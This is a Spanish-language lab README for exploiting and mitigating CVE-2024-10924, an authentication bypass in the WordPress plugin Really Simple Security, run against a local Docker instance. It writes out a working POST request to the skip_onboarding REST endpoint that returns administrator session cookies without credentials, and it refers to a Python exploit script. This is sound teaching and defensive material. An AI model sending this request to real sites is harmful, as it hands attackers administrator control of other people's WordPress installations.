CVE-2024-10924

CVE-2024-10924 - Bypass de Autenticación en Really Simple Security

DESCRIPCIÓN GENERAL Este proyecto demuestra la explotación y mitigación de CVE-2024-10924, una vulnerabilidad crítica de bypass de autenticación en el plugin de WordPress "Really Simple Security".

PASO 1: CONFIGURACIÓN DEL ENTORNO

Inicia el entorno vulnerable de WordPress: cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d

Verifica que los contenedores estén en ejecución: docker ps

Accede a WordPress: http://localhost:1337

Herramientas necesarias:

• Python 3.x (para el exploit automatizado)
• Burp Suite (para explotación manual)
• GVM (Greenbone Vulnerability Management) para escaneo

PASO 2: ESCANEO DE VULNERABILIDADES

Ejecuta el escaneo GVM contra el objetivo:

• Objetivo: http://localhost:1337
• Resultado esperado: CVE-2024-10924 detectado
• Severidad: Crítica (CVSS 9.8)
• Endpoint vulnerable: /reallysimplessl/v1/two_fa/skip_onboarding

PASO 3: EXPLOTACIÓN

Método A - Exploit Automatizado en Python: python exploit.py

Método B - Burp Suite Manual:

1. Intercepta el tráfico hacia http://localhost:1337

2. Envía una solicitud POST: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json

   {"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}

3. Observa la respuesta con la cabecera Set-Cookie que contiene la sesión de admin

Resultado esperado:

• Estado: 200 OK
• Cookies de sesión de administrador devueltas
• Bypass exitoso sin credenciales

PASO 4: MITIGACIÓN

Aplica el parche para bloquear el endpoint vulnerable: .\patch.ps1

Qué hace esto:

• Copia mitigation.php al contenedor en /wp-content/mu-plugins/
• Bloquea todas las solicitudes al endpoint REST API vulnerable